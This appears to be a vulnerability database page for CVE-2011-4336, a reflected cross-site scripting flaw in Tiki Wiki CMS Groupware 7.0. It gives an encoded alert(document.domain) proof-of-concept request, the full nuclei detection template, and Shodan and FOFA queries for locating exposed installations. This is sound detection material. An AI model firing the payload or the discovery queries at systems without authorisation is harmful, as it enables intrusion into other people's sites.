HexBrain

Browse / CVEs / CVE-2011-4336

CVE-2011-4336· tiki / tikiwiki cms\/groupware· CWE-79

Tiki Wiki CMS Groupware 7.0 Cross-Site Scripting

mediumseverity
6.1CVSS score
7.7%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Tiki Wiki CMS Groupware 7.0 is vulnerable to cross-site scripting via the GET "ajax" parameter to snarf_ajax.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2011-4336 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-4336

info:
  name: Tiki Wiki CMS Groupware 7.0 Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Tiki Wiki CMS Groupware 7.0 is vulnerable to cross-site scripting via the GET "ajax" parameter to snarf_ajax.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4336
    - https://seclists.org/bugtraq/2011/Nov/140
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2011-4336
    cwe-id: CWE-79
    epss-score: 0.07652
    epss-percentile: 0.94624
    cpe: cpe:2.3:a:tiki:tikiwiki_cms\/groupware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tiki
    product: tikiwiki_cms\/groupware
    shodan-query: http.html:"tiki wiki"
    fofa-query: body="tiki wiki"
  tags: cve,cve2011,seclists,xss,tikiwiki,tiki,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from